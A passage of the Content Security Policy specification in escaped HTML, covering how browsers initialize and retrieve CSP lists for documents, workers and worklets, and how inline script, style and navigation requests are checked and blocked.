\"<code>enforce</code>\",\n  then set <var>result</var> to \"<code>Blocked</code>\".</p>\n          </ol>\n        </ol>\n      </ol>\n      <p class=\"note\" role=\"note\"><span>Note:</span> This portion of the check allows policies delivered with the\n  response to determine whether the response is allowed to be delivered.</p>\n     <li data-md=\"\">\n      <p>Return <var>result</var>.</p>\n    </ol>\n    <h3 class=\"heading settled\" data-level=\"4.2\" id=\"html-integration\"><span class=\"secno\">4.2. </span><span class=\"content\"> Integration with HTML </span><a class=\"self-link\" href=\"#html-integration\"></a></h3>\n    <ol>\n     <li data-md=\"\">\n      <p>The <code class=\"idl\"><a data-link-type=\"idl\" href=\"https://dom.spec.whatwg.org/#document\" id=\"ref-for-document③\">Document</a></code>, <code class=\"idl\"><a data-link-type=\"idl\" href=\"https://html.spec.whatwg.org/multipage/workers.html#workerglobalscope\" id=\"ref-for-workerglobalscope①\">WorkerGlobalScope</a></code>, and <code class=\"idl\"><a data-link-type=\"idl\" href=\"https://www.w3.org/TR/worklets-1/#workletglobalscope\" id=\"ref-for-workletglobalscope①\">WorkletGlobalScope</a></code> objects have a <code>CSP list</code>, which holds all the <a data-link-type=\"dfn\" href=\"#content-security-policy-object\" id=\"ref-for-content-security-policy-object②⓪\">policy</a> objects which are\n  active for a given context. This list is empty unless otherwise specified,\n  and is populated via the <a href=\"#initialize-global-object-csp\">§4.2.2 Initialize a global object’s CSP list</a> algorithm.</p>\n      <p class=\"issue\" id=\"issue-a794766b\"><a class=\"self-link\" href=\"#issue-a794766b\"></a> This concept is missing from W3C’s Workers. <a href=\"https://github.com/w3c/html/issues/187\">&lt;https://github.com/w3c/html/issues/187></a></p>\n     <li data-md=\"\">\n      <p>A <a data-link-type=\"dfn\" href=\"https://html.spec.whatwg.org/multipage/webappapis.html#global-object\" id=\"ref-for-global-object⑥\">global object</a>’s <dfn class=\"dfn-paneled\" data-dfn-for=\"global object\" data-dfn-type=\"dfn\" data-noexport=\"\" id=\"global-object-csp-list\">CSP list</dfn> is the result of executing <a href=\"#get-csp-of-object\">§4.2.3 Retrieve the CSP list of an object</a> with the <a data-link-type=\"dfn\" href=\"https://html.spec.whatwg.org/multipage/webappapis.html#global-object\" id=\"ref-for-global-object⑦\">global object</a> as the <code>object</code>.</p>\n     <li data-md=\"\">\n      <p>A <a data-link-type=\"dfn\" href=\"#content-security-policy-object\" id=\"ref-for-content-security-policy-object②①\">policy</a> is <dfn class=\"dfn-paneled\" data-dfn-type=\"dfn\" data-export=\"\" id=\"enforced\">enforced</dfn> or <dfn class=\"dfn-paneled\" data-dfn-type=\"dfn\" data-export=\"\" id=\"monitored\">monitored</dfn> for a <a data-link-type=\"dfn\" href=\"https://html.spec.whatwg.org/multipage/webappapis.html#global-object\" id=\"ref-for-global-object⑧\">global object</a> by inserting it into the <a data-link-type=\"dfn\" href=\"https://html.spec.whatwg.org/multipage/webappapis.html#global-object\" id=\"ref-for-global-object⑨\">global object</a>’s <a data-link-type=\"dfn\" href=\"#global-object-csp-list\" id=\"ref-for-global-object-csp-list③\">CSP list</a>.</p>\n     <li data-md=\"\">\n      <p><a href=\"#initialize-global-object-csp\">§4.2.2 Initialize a global object’s CSP list</a> is called during the <a data-link-type=\"dfn\" href=\"https://html.spec.whatwg.org/multipage/browsing-the-web.html#initialise-the-document-object\" id=\"ref-for-initialise-the-document-object\">initializing a\n  new <code>Document</code> object</a> and <a data-link-type=\"dfn\" href=\"https://html.spec.whatwg.org/multipage/workers.html#run-a-worker\" id=\"ref-for-run-a-worker\">run a worker</a> algorithms in order to\n  bind a set of <a data-link-type=\"dfn\" href=\"#content-security-policy-object\" id=\"ref-for-content-security-policy-object②②\">policy</a> objects associated with a <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-response\" id=\"ref-for-concept-response①③\">response</a> to a newly created <code class=\"idl\"><a data-link-type=\"idl\" href=\"https://dom.spec.whatwg.org/#document\" id=\"ref-for-document④\">Document</a></code>, <code class=\"idl\"><a data-link-type=\"idl\" href=\"https://html.spec.whatwg.org/multipage/workers.html#workerglobalscope\" id=\"ref-for-workerglobalscope②\">WorkerGlobalScope</a></code> or <code class=\"idl\"><a data-link-type=\"idl\" href=\"https://www.w3.org/TR/worklets-1/#workletglobalscope\" id=\"ref-for-workletglobalscope②\">WorkletGlobalScope</a></code>.</p>\n     <li data-md=\"\">\n      <p><a href=\"#should-block-inline\">§4.2.4 Should element’s inline type behavior be blocked by Content Security Policy?</a> is called during the <a data-link-type=\"dfn\" href=\"https://html.spec.whatwg.org/multipage/scripting.html#prepare-a-script\" id=\"ref-for-prepare-a-script\">prepare a script</a> and <a data-link-type=\"dfn\" href=\"https://html.spec.whatwg.org/multipage/semantics.html#update-a-style-block\" id=\"ref-for-update-a-style-block\">update a <code>style</code> block</a> algorithms in order to determine whether or\n  not an inline script or style block is allowed to execute/render.</p>\n     <li data-md=\"\">\n      <p><a href=\"#should-block-inline\">§4.2.4 Should element’s inline type behavior be blocked by Content Security Policy?</a> is called during handling of inline event\n  handlers (like <code>onclick</code>) and inline <code>style</code> attributes in order to\n  determine whether or not they ought to be allowed to execute/render.</p>\n     <li data-md=\"\">\n      <p><a data-link-type=\"dfn\" href=\"#content-security-policy-object\" id=\"ref-for-content-security-policy-object②③\">policy</a> is <a data-link-type=\"dfn\" href=\"#enforced\" id=\"ref-for-enforced①\">enforced</a> during processing of the <code><a data-link-type=\"element\" href=\"https://html.spec.whatwg.org/multipage/semantics.html#meta\" id=\"ref-for-meta⑨\">meta</a></code> element’s <code><a data-link-type=\"element-sub\" href=\"https://html.spec.whatwg.org/multipage/semantics.html#attr-meta-http-equiv\" id=\"ref-for-attr-meta-http-equiv②\">http-equiv</a></code>.</p>\n     <li data-md=\"\">\n      <p>A <code class=\"idl\"><a data-link-type=\"idl\" href=\"https://dom.spec.whatwg.org/#document\" id=\"ref-for-document⑤\">Document</a></code>'s <dfn class=\"dfn-paneled\" data-dfn-type=\"dfn\" data-noexport=\"\" id=\"embedding-document\">embedding document</dfn> is the <code class=\"idl\"><a data-link-type=\"idl\" href=\"https://dom.spec.whatwg.org/#document\" id=\"ref-for-document⑥\">Document</a></code> <a data-link-type=\"dfn\" href=\"https://html.spec.whatwg.org/multipage/browsers.html#browsing-context-nested-through\" id=\"ref-for-browsing-context-nested-through\">through which</a> the <code class=\"idl\"><a data-link-type=\"idl\" href=\"https://dom.spec.whatwg.org/#document\" id=\"ref-for-document⑦\">Document</a></code>'s <a data-link-type=\"dfn\" href=\"https://html.spec.whatwg.org/multipage/browsers.html#browsing-context\" id=\"ref-for-browsing-context②\">browsing context</a> is nested.</p>\n     <li data-md=\"\">\n      <p>HTML populates each <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request\" id=\"ref-for-concept-request①②\">request</a>’s <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request-nonce-metadata\" id=\"ref-for-concept-request-nonce-metadata\">cryptographic nonce\n  metadata</a> and <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request-parser-metadata\" id=\"ref-for-concept-request-parser-metadata\">parser metadata</a> with relevant data from the\n  elements responsible for resource loading.</p>\n      <p class=\"issue\" id=\"issue-aa77c60b\"><a class=\"self-link\" href=\"#issue-aa77c60b\"></a> Stylesheet loading is not yet integrated with\n  Fetch in W3C’s HTML. <a href=\"https://github.com/whatwg/html/issues/198\">&lt;https://github.com/whatwg/html/issues/198></a></p>\n      <p class=\"issue\" id=\"issue-25da4fba\"><a class=\"self-link\" href=\"#issue-25da4fba\"></a> Stylesheet loading is not yet integrated with\n  Fetch in WHATWG’s HTML. <a href=\"https://github.com/whatwg/html/issues/968\">&lt;https://github.com/whatwg/html/issues/968></a></p>\n     <li data-md=\"\">\n      <p><a href=\"#allow-base-for-document\">§6.2.1.1 Is base allowed for document?</a> is called during <code><a data-link-type=\"element\" href=\"https://html.spec.whatwg.org/multipage/semantics.html#the-base-element\" id=\"ref-for-the-base-element\">base</a></code>'s <a data-link-type=\"dfn\" href=\"https://html.spec.whatwg.org/multipage/semantics.html#set-the-frozen-base-url\" id=\"ref-for-set-the-frozen-base-url\">set the frozen\n  base URL</a> algorithm to ensure that the <code><a data-link-type=\"element-sub\" href=\"https://html.spec.whatwg.org/multipage/semantics.html#attr-base-href\" id=\"ref-for-attr-base-href\">href</a></code> attribute’s value\n  is valid.</p>\n     <li data-md=\"\">\n      <p><a href=\"#should-plugin-element-be-blocked-a-priori-by-content-security-policy\" id=\"ref-for-should-plugin-element-be-blocked-a-priori-by-content-security-policy\">§6.2.2.2 Should plugin element be blocked a priori by Content\n    Security Policy?:</a> is called during the processing of <code><a data-link-type=\"element\" href=\"https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-object-element\" id=\"ref-for-the-object-element\">object</a></code>, <code><a data-link-type=\"element\" href=\"https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-embed-element\" id=\"ref-for-the-embed-element\">embed</a></code>, and <a data-link-type=\"dfn\" href=\"https://html.spec.whatwg.org/multipage/obsolete.html#applet\" id=\"ref-for-applet\"><code>applet</code></a> elements to determine whether they may trigger a fetch.</p>\n      <p class=\"note\" role=\"note\"><span>Note:</span> Fetched plugin resources are handled in <a href=\"#should-block-response\">§4.1.4 Should response to request be blocked by Content\n    Security Policy?</a>.</p>\n      <p class=\"issue\" id=\"issue-5faf83e6\"><a class=\"self-link\" href=\"#issue-5faf83e6\"></a> This hook is missing from W3C’s HTML. <a href=\"https://github.com/w3c/html/issues/547\">&lt;https://github.com/w3c/html/issues/547></a></p>\n     <li data-md=\"\">\n      <p><a href=\"#should-block-navigation-request\">§4.2.5 Should navigation request of type from source in target be blocked\n    by Content Security Policy?</a> is called during the <a data-link-type=\"dfn\" href=\"https://html.spec.whatwg.org/multipage/browsing-the-web.html#process-a-navigate-fetch\" id=\"ref-for-process-a-navigate-fetch\">process a\n  navigate fetch</a> algorithm, and <a href=\"#should-block-navigation-response\">§4.2.6 Should navigation response to navigation request of type from source\n    in target be blocked by Content Security Policy?</a> is called during the <a data-link-type=\"dfn\" href=\"https://html.spec.whatwg.org/multipage/browsing-the-web.html#process-a-navigate-response\" id=\"ref-for-process-a-navigate-response\">process a navigate response</a> algorithm to\n  apply directive’s navigation checks, as well as inline checks for\n  navigations to <code>javascript:</code>.</p>\n      <p class=\"issue\" id=\"issue-7b0f92da\"><a class=\"self-link\" href=\"#issue-7b0f92da\"></a> W3C’s HTML is not based on Fetch, and does not\n  have a <a data-link-type=\"dfn\" href=\"https://html.spec.whatwg.org/multipage/browsing-the-web.html#process-a-navigate-response\" id=\"ref-for-process-a-navigate-response①\">process a navigate response</a> algorithm into which to hook. <a href=\"https://github.com/w3c/html/issues/548\">&lt;https://github.com/w3c/html/issues/548></a></p>\n    </ol>\n    <h4 class=\"heading settled algorithm\" data-algorithm=\"Initialize a Document&apos;s CSP list\" data-level=\"4.2.1\" id=\"initialize-document-csp\"><span class=\"secno\">4.2.1. </span><span class=\"content\"> Initialize a <code>Document</code>'s <code>CSP list</code> </span><a class=\"self-link\" href=\"#initialize-document-csp\"></a></h4>\n    <p>Given a <code class=\"idl\"><a data-link-type=\"idl\" href=\"https://dom.spec.whatwg.org/#document\" id=\"ref-for-document⑧\">Document</a></code> (<var>document</var>), and a <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-response\" id=\"ref-for-concept-response①④\">response</a> (<var>response</var>), the\n  user agent performs the following steps in order to initialize <var>document</var>’s <a data-link-type=\"dfn\" href=\"https://html.spec.whatwg.org/multipage/dom.html#concept-document-csp-list\" id=\"ref-for-concept-document-csp-list\">CSP list</a>:</p>\n    <ol>\n     <li data-md=\"\">\n      <p>If <var>response</var>’s <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-response-url\" id=\"ref-for-concept-response-url\">url</a>’s <a data-link-type=\"dfn\" href=\"https://url.spec.whatwg.org/#concept-url-scheme\" id=\"ref-for-concept-url-scheme\">scheme</a> is a <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#local-scheme\" id=\"ref-for-local-scheme①\">local scheme</a>:</p>\n      <ol>\n       <li data-md=\"\">\n        <p>Let <var>documents</var> be an empty list.</p>\n       <li data-md=\"\">\n        <p>If <var>document</var> has an <a data-link-type=\"dfn\" href=\"#embedding-document\" id=\"ref-for-embedding-document\">embedding document</a> (<var>embedding</var>), then add <var>embedding</var> to <var>documents</var>.</p>\n       <li data-md=\"\">\n        <p>If <var>document</var> has an <a data-link-type=\"dfn\" href=\"https://html.spec.whatwg.org/multipage/browsers.html#opener-browsing-context\" id=\"ref-for-opener-browsing-context\">opener browsing context</a>, then add its <a data-link-type=\"dfn\" href=\"https://html.spec.whatwg.org/multipage/browsers.html#active-document\" id=\"ref-for-active-document\">active document</a> to <var>documents</var>.</p>\n       <li data-md=\"\">\n        <p>For each <var>doc</var> in <var>documents</var>:</p>\n        <ol>\n         <li data-md=\"\">\n          <p>For each <var>policy</var> in <var>doc</var>’s <a data-link-type=\"dfn\" href=\"https://html.spec.whatwg.org/multipage/dom.html#concept-document-csp-list\" id=\"ref-for-concept-document-csp-list①\">CSP list</a>:</p>\n          <ol>\n           <li data-md=\"\">\n            <p>Insert a copy of <var>policy</var> into <var>document</var>’s <a data-link-type=\"dfn\" href=\"https://html.spec.whatwg.org/multipage/dom.html#concept-document-csp-list\" id=\"ref-for-concept-document-csp-list②\">CSP list</a>.</p>\n          </ol>\n        </ol>\n      </ol>\n      <p class=\"note\" role=\"note\"><span>Note:</span> <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#local-scheme\" id=\"ref-for-local-scheme②\">local scheme</a> includes <code>about:</code>, and this algorithm will\n  therefore copy the <a data-link-type=\"dfn\" href=\"#embedding-document\" id=\"ref-for-embedding-document①\">embedding document</a>’s policies for <a data-link-type=\"dfn\" href=\"https://html.spec.whatwg.org/multipage/iframe-embed-object.html#an-iframe-srcdoc-document\" id=\"ref-for-an-iframe-srcdoc-document\">an iframe <code>srcdoc</code> <code>Document</code></a>.</p>\n      <p class=\"note\" role=\"note\"><span>Note:</span> We do all this to ensure that a page cannot bypass its <a data-link-type=\"dfn\" href=\"#content-security-policy-object\" id=\"ref-for-content-security-policy-object②④\">policy</a> by embedding a frame or popping up a new window containing content it\n  controls (<code>blob:</code> resources, or <code>document.write()</code>).</p>\n     <li data-md=\"\">\n      <p>For each <var>policy</var> in <var>response</var>’s <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-response-csp-list\" id=\"ref-for-concept-response-csp-list⑦\">CSP list</a>, insert <var>policy</var> into <var>document</var>’s <a data-link-type=\"dfn\" href=\"https://html.spec.whatwg.org/multipage/dom.html#concept-document-csp-list\" id=\"ref-for-concept-document-csp-list③\">CSP list</a>.</p>\n     <li data-md=\"\">\n      <p>For each <var>policy</var> in <var>document</var>’s <a data-link-type=\"dfn\" href=\"https://html.spec.whatwg.org/multipage/dom.html#concept-document-csp-list\" id=\"ref-for-concept-document-csp-list④\">CSP list</a>:</p>\n      <ol>\n       <li data-md=\"\">\n        <p>For each <var>directive</var> in <var>policy</var>:</p>\n        <ol>\n         <li data-md=\"\">\n          <p>Execute <var>directive</var>’s <a data-link-type=\"dfn\" href=\"#directive-initialization\" id=\"ref-for-directive-initialization\">initialization</a> algorithm on <var>document</var> and <var>response</var>.</p>\n        </ol>\n      </ol>\n    </ol>\n    <h4 class=\"heading settled algorithm\" data-algorithm=\"Initialize a global object’s CSP list\" data-level=\"4.2.2\" id=\"initialize-global-object-csp\"><span class=\"secno\">4.2.2. </span><span class=\"content\"> Initialize a global object’s <code>CSP list</code> </span><a class=\"self-link\" href=\"#initialize-global-object-csp\"></a></h4>\n    <p>Given a <a data-link-type=\"dfn\" href=\"https://html.spec.whatwg.org/multipage/webappapis.html#global-object\" id=\"ref-for-global-object①⓪\">global object</a> (<var>global</var>), and a <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-response\" id=\"ref-for-concept-response①⑤\">response</a> (<var>response</var>), the user agent performs the following steps in order\n  to initialize <var>global</var>’s <a data-link-type=\"dfn\" href=\"#global-object-csp-list\" id=\"ref-for-global-object-csp-list④\">CSP list</a>:</p>\n    <ol>\n     <li data-md=\"\">\n      <p>If <var>response</var>’s <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-response-url\" id=\"ref-for-concept-response-url①\">url</a>’s <a data-link-type=\"dfn\" href=\"https://url.spec.whatwg.org/#concept-url-scheme\" id=\"ref-for-concept-url-scheme①\">scheme</a> is a <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#local-scheme\" id=\"ref-for-local-scheme③\">local scheme</a>, or if <var>global</var> is a <code class=\"idl\"><a data-link-type=\"idl\" href=\"https://html.spec.whatwg.org/multipage/workers.html#dedicatedworkerglobalscope\" id=\"ref-for-dedicatedworkerglobalscope\">DedicatedWorkerGlobalScope</a></code>:</p>\n      <ol>\n       <li data-md=\"\">\n        <p>Let <var>owners</var> be an empty list.</p>\n       <li data-md=\"\">\n        <p>Add each of the items in <var>global</var>’s <a data-link-type=\"dfn\" href=\"https://html.spec.whatwg.org/#concept-WorkerGlobalScope-owner-set\" id=\"ref-for-concept-WorkerGlobalScope-owner-set\">owner set</a> to <var>owners</var>.</p>\n       <li data-md=\"\">\n        <p>For each <var>owner</var> in <var>owners</var>:</p>\n        <ol>\n         <li data-md=\"\">\n          <p>For each <var>policy</var> in <var>owner</var>’s <a data-link-type=\"dfn\" href=\"#global-object-csp-list\" id=\"ref-for-global-object-csp-list⑤\">CSP list</a>:</p>\n          <ol>\n           <li data-md=\"\">\n            <p>Insert a copy of <var>policy</var> into <var>global</var>’s <a data-link-type=\"dfn\" href=\"#global-object-csp-list\" id=\"ref-for-global-object-csp-list⑥\">CSP list</a>.</p>\n          </ol>\n        </ol>\n      </ol>\n      <p class=\"note\" role=\"note\"><span>Note:</span> <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#local-scheme\" id=\"ref-for-local-scheme④\">local scheme</a> includes <code>about:</code>, and this algorithm will\n  therefore copy the <a data-link-type=\"dfn\" href=\"#embedding-document\" id=\"ref-for-embedding-document②\">embedding document</a>’s policies for <a data-link-type=\"dfn\" href=\"https://html.spec.whatwg.org/multipage/iframe-embed-object.html#an-iframe-srcdoc-document\" id=\"ref-for-an-iframe-srcdoc-document①\">an iframe <code>srcdoc</code> <code>Document</code></a>.</p>\n     <li data-md=\"\">\n      <p>If <var>global</var> is a <code class=\"idl\"><a data-link-type=\"idl\" href=\"https://html.spec.whatwg.org/multipage/workers.html#sharedworkerglobalscope\" id=\"ref-for-sharedworkerglobalscope\">SharedWorkerGlobalScope</a></code> or <code class=\"idl\"><a data-link-type=\"idl\" href=\"https://w3c.github.io/ServiceWorker/#serviceworkerglobalscope\" id=\"ref-for-serviceworkerglobalscope\">ServiceWorkerGlobalScope</a></code>:</p>\n      <ol>\n       <li data-md=\"\">\n        <p>For each <var>policy</var> in <var>response</var>’s <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-response-csp-list\" id=\"ref-for-concept-response-csp-list⑧\">CSP list</a>, insert <var>policy</var> into <var>global</var>’s <a data-link-type=\"dfn\" href=\"#global-object-csp-list\" id=\"ref-for-global-object-csp-list⑦\">CSP list</a>.</p>\n      </ol>\n     <li data-md=\"\">\n      <p>If <var>global</var> is a <code class=\"idl\"><a data-link-type=\"idl\" href=\"https://www.w3.org/TR/worklets-1/#workletglobalscope\" id=\"ref-for-workletglobalscope③\">WorkletGlobalScope</a></code>:</p>\n      <ol>\n       <li data-md=\"\">\n        <p>Let <var>owner</var> be <var>global</var>’s <a data-link-type=\"dfn\" href=\"https://drafts.css-houdini.org/worklets/#workletglobalscope-owner-document\" id=\"ref-for-workletglobalscope-owner-document\">owner document</a>.</p>\n       <li data-md=\"\">\n        <p>For each <var>policy</var> in <var>owner</var>’s <a data-link-type=\"dfn\" href=\"#global-object-csp-list\" id=\"ref-for-global-object-csp-list⑧\">CSP list</a>:</p>\n        <ol>\n         <li data-md=\"\">\n          <p>Insert a copy of <var>policy</var> into <var>global</var>’s <a data-link-type=\"dfn\" href=\"#global-object-csp-list\" id=\"ref-for-global-object-csp-list⑨\">CSP list</a>.</p>\n        </ol>\n      </ol>\n    </ol>\n    <h4 class=\"heading settled algorithm\" data-algorithm=\"Retrieve the CSP list of an object\" data-level=\"4.2.3\" id=\"get-csp-of-object\"><span class=\"secno\">4.2.3. </span><span class=\"content\"> Retrieve the <a data-link-type=\"dfn\" href=\"#global-object-csp-list\" id=\"ref-for-global-object-csp-list①⓪\">CSP list</a> of an <var>object</var> </span><a class=\"self-link\" href=\"#get-csp-of-object\"></a></h4>\n    <p>To obtain <var>object</var>’s <a data-link-type=\"dfn\" href=\"#global-object-csp-list\" id=\"ref-for-global-object-csp-list①①\">CSP list</a>:</p>\n    <ol>\n     <li data-md=\"\">\n      <p>If <var>object</var> is a <code class=\"idl\"><a data-link-type=\"idl\" href=\"https://dom.spec.whatwg.org/#document\" id=\"ref-for-document⑨\">Document</a></code> return <var>object</var>’s <a data-link-type=\"dfn\" href=\"https://html.spec.whatwg.org/multipage/dom.html#concept-document-csp-list\" id=\"ref-for-concept-document-csp-list⑤\">CSP list</a>.</p>\n     <li data-md=\"\">\n      <p>If <var>object</var> is a <code class=\"idl\"><a data-link-type=\"idl\" href=\"https://html.spec.whatwg.org/multipage/window-object.html#window\" id=\"ref-for-window②\">Window</a></code> return <var>object</var>’s <a data-link-type=\"dfn\" href=\"https://html.spec.whatwg.org/multipage/window-object.html#concept-document-window\" id=\"ref-for-concept-document-window\">associated <code>Document</code></a>’s <a data-link-type=\"dfn\" href=\"https://html.spec.whatwg.org/multipage/dom.html#concept-document-csp-list\" id=\"ref-for-concept-document-csp-list⑥\">CSP list</a>.</p>\n     <li data-md=\"\">\n      <p>If <var>object</var> is a <code class=\"idl\"><a data-link-type=\"idl\" href=\"https://html.spec.whatwg.org/multipage/workers.html#workerglobalscope\" id=\"ref-for-workerglobalscope③\">WorkerGlobalScope</a></code>, return <var>object</var>’s <a data-link-type=\"dfn\" href=\"#global-object-csp-list\" id=\"ref-for-global-object-csp-list①②\">CSP list</a>.</p>\n     <li data-md=\"\">\n      <p>If <var>object</var> is a <code class=\"idl\"><a data-link-type=\"idl\" href=\"https://www.w3.org/TR/worklets-1/#workletglobalscope\" id=\"ref-for-workletglobalscope④\">WorkletGlobalScope</a></code>, return <var>object</var>’s <a data-link-type=\"dfn\" href=\"#global-object-csp-list\" id=\"ref-for-global-object-csp-list①③\">CSP list</a>.</p>\n     <li data-md=\"\">\n      <p>Return <code>null</code>.</p>\n    </ol>\n    <h4 class=\"heading settled algorithm\" data-algorithm=\"Should element’s inline type behavior be blocked by Content Security Policy?\" data-level=\"4.2.4\" id=\"should-block-inline\"><span class=\"secno\">4.2.4. </span><span class=\"content\"> Should <var>element</var>’s inline <var>type</var> behavior be blocked by Content Security Policy? </span><a class=\"self-link\" href=\"#should-block-inline\"></a></h4>\n    <p>Given an <code class=\"idl\"><a data-link-type=\"idl\" href=\"https://dom.spec.whatwg.org/#element\" id=\"ref-for-element①\">Element</a></code> (<var>element</var>), a string (<var>type</var>), and a string (<var>source</var>)\n  this algorithm returns \"<code>Allowed</code>\" if the element is allowed to have inline\n  definition of a particular type of behavior (script execution, style\n  application, event handlers, etc.), and \"<code>Blocked</code>\" otherwise:</p>\n    <p class=\"note\" role=\"note\"><span>Note:</span> The valid values for <var>type</var> are \"<code>script</code>\", \"<code>script attribute</code>\",\n  \"<code>style</code>\", and \"<code>style attribute</code>\".</p>\n    <ol class=\"algorithm\">\n     <li data-md=\"\">\n      <p class=\"assertion\">Assert: <var>element</var> is not <code>null</code>.</p>\n     <li data-md=\"\">\n      <p>Let <var>result</var> be \"<code>Allowed</code>\".</p>\n     <li data-md=\"\">\n      <p>For each <var>policy</var> in <var>element</var>’s <code class=\"idl\"><a data-link-type=\"idl\" href=\"https://dom.spec.whatwg.org/#document\" id=\"ref-for-document①⓪\">Document</a></code>'s <a data-link-type=\"dfn\" href=\"https://html.spec.whatwg.org/multipage/webappapis.html#global-object\" id=\"ref-for-global-object①①\">global object</a>’s <a data-link-type=\"dfn\" href=\"#global-object-csp-list\" id=\"ref-for-global-object-csp-list①④\">CSP list</a>:</p>\n      <ol>\n       <li data-md=\"\">\n        <p>For each <var>directive</var> in <var>policy</var>’s <a data-link-type=\"dfn\" href=\"#policy-directive-set\" id=\"ref-for-policy-directive-set⑥\">directive set</a>:</p>\n        <ol>\n         <li data-md=\"\">\n          <p>If <var>directive</var>’s <a data-link-type=\"dfn\" href=\"#directive-inline-check\" id=\"ref-for-directive-inline-check\">inline check</a> returns\n  \"<code>Allowed</code>\" when executed upon <var>element</var>, <var>type</var>, and <var>source</var>,\n  skip to the next <var>directive</var>.</p>\n         <li data-md=\"\">\n          <p>Otherwise, let <var>violation</var> be the result of executing <a href=\"#create-violation-for-global\">§2.4.1 Create a violation object for global, policy, and directive</a> on the <a data-link-type=\"dfn\" href=\"https://html.spec.whatwg.org/multipage/webappapis.html#current-settings-object\" id=\"ref-for-current-settings-object\">current settings\n  object</a>’s <a data-link-type=\"dfn\" href=\"https://html.spec.whatwg.org/multipage/webappapis.html#concept-settings-object-global\" id=\"ref-for-concept-settings-object-global④\">global object</a>, <var>policy</var>,\n  and \"<code>style-src</code>\" if <var>type</var> is \"<code>style</code>\" or \"<code>style-attribute</code>\",\n  or \"<code>script-src</code>\" otherwise.</p>\n         <li data-md=\"\">\n          <p>Set <var>violation</var>’s <a data-link-type=\"dfn\" href=\"#violation-resource\" id=\"ref-for-violation-resource②\">resource</a> to \"<code>inline</code>\".</p>\n         <li data-md=\"\">\n          <p>Set <var>violation</var>’s <a data-link-type=\"dfn\" href=\"#violation-element\" id=\"ref-for-violation-element\">element</a> to <var>element</var>.</p>\n         <li data-md=\"\">\n          <p>If <var>directive</var>’s <a data-link-type=\"dfn\" href=\"#directive-value\" id=\"ref-for-directive-value④\">value</a> <a data-link-type=\"dfn\" href=\"https://infra.spec.whatwg.org/#list-contain\" id=\"ref-for-list-contain①\">contains</a> the\n  expression \"<a data-link-type=\"grammar\" href=\"#grammardef-report-sample\" id=\"ref-for-grammardef-report-sample①\"><code>'report-sample'</code></a>\", then set <var>violation</var>’s <a data-link-type=\"dfn\" href=\"#violation-sample\" id=\"ref-for-violation-sample②\">sample</a> to the substring of <var>source</var> containing its first 40\n  characters.</p>\n         <li data-md=\"\">\n          <p>Execute <a href=\"#report-violation\">§5.3 Report a violation</a> on <var>violation</var>.</p>\n         <li data-md=\"\">\n          <p>If <var>policy</var>’s <a data-link-type=\"dfn\" href=\"#policy-disposition\" id=\"ref-for-policy-disposition①①\">disposition</a> is \"<code>enforce</code>\", then\n  set <var>result</var> to \"<code>Blocked</code>\".</p>\n        </ol>\n      </ol>\n     <li data-md=\"\">\n      <p>Return <var>result</var>.</p>\n    </ol>\n    <h4 class=\"heading settled algorithm\" data-algorithm=\"Should navigation request of type from source in target be blocked\n    by Content Security Policy?\" data-level=\"4.2.5\" id=\"should-block-navigation-request\"><span class=\"secno\">4.2.5. </span><span class=\"content\"> Should <var>navigation request</var> of <var>type</var> from <var>source</var> in <var>target</var> be blocked\n    by Content Security Policy? </span><a class=\"self-link\" href=\"#should-block-navigation-request\"></a></h4>\n    <p>Given a <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request\" id=\"ref-for-concept-request①③\">request</a> (<var>navigation request</var>), a string (<var>type</var>, either\n  \"<code>form-submission</code>\" or \"<code>other</code>\"), and two <a data-link-type=\"dfn\" href=\"https://html.spec.whatwg.org/multipage/browsers.html#browsing-context\" id=\"ref-for-browsing-context③\">browsing contexts</a> (<var>source</var> and <var>target</var>), this algorithm return \"<code>Blocked</code>\" if the active policy blocks\n  the navigation, and \"<code>Allowed</code>\" otherwise:</p>\n    <ol class=\"algorithm\">\n     <li data-md=\"\">\n      <p>Let <var>result</var> be \"<code>Allowed</code>\".</p>\n     <li data-md=\"\">\n      <p>For each <var>policy</var> in <var>source</var>’s <a data-link-type=\"dfn\" href=\"https://html.spec.whatwg.org/multipage/browsers.html#active-document\" id=\"ref-for-active-document①\">active document</a>’s <a data-link-type=\"dfn\" href=\"https://html.spec.whatwg.org/multipage/dom.html#concept-document-csp-list\" id=\"ref-for-concept-document-csp-list⑦\">CSP list</a>:</p>\n      <ol>\n       <li data-md=\"\">\n        <p>For each <var>directive</var> in <var>policy</var>:</p>\n        <ol>\n         <li data-md=\"\">\n          <p>If <var>directive</var>’s <a data-link-type=\"dfn\" href=\"#directive-pre-navigation-check\" id=\"ref-for-directive-pre-navigation-check\">pre-navigation check</a> returns \"<code>Allowed</code>\" when executed upon <var>navigation request</var>, <var>type</var>, <var>source</var>, and <var>target</var>, skip to the next <var>directive</var>.</p>\n         <li data-md=\"\">\n          <p>Otherwise, let <var>violation</var> be the result of executing <a href=\"#create-violation-for-global\">§2.4.1 Create a violation object for global, policy, and directive</a> on <var>source</var>’s <a data-link-type=\"dfn\" href=\"https://html.spec.whatwg.org/multipage/webappapis.html#concept-relevant-global\" id=\"ref-for-concept-relevant-global\">relevant global\n  object</a>, <var>policy</var>, and <var>directive</var>’s <a data-link-type=\"dfn\" href=\"#directive-name\" id=\"ref-for-directive-name③\">name</a>.</p>\n         <li data-md=\"\">\n          <p>Set <var>violation</var>’s <a data-link-type=\"dfn\" href=\"#violation-resource\" id=\"ref-for-violation-resource③\">resource</a> to <var>navigation\n  request</var>’s <a data-link-type=\"dfn\" 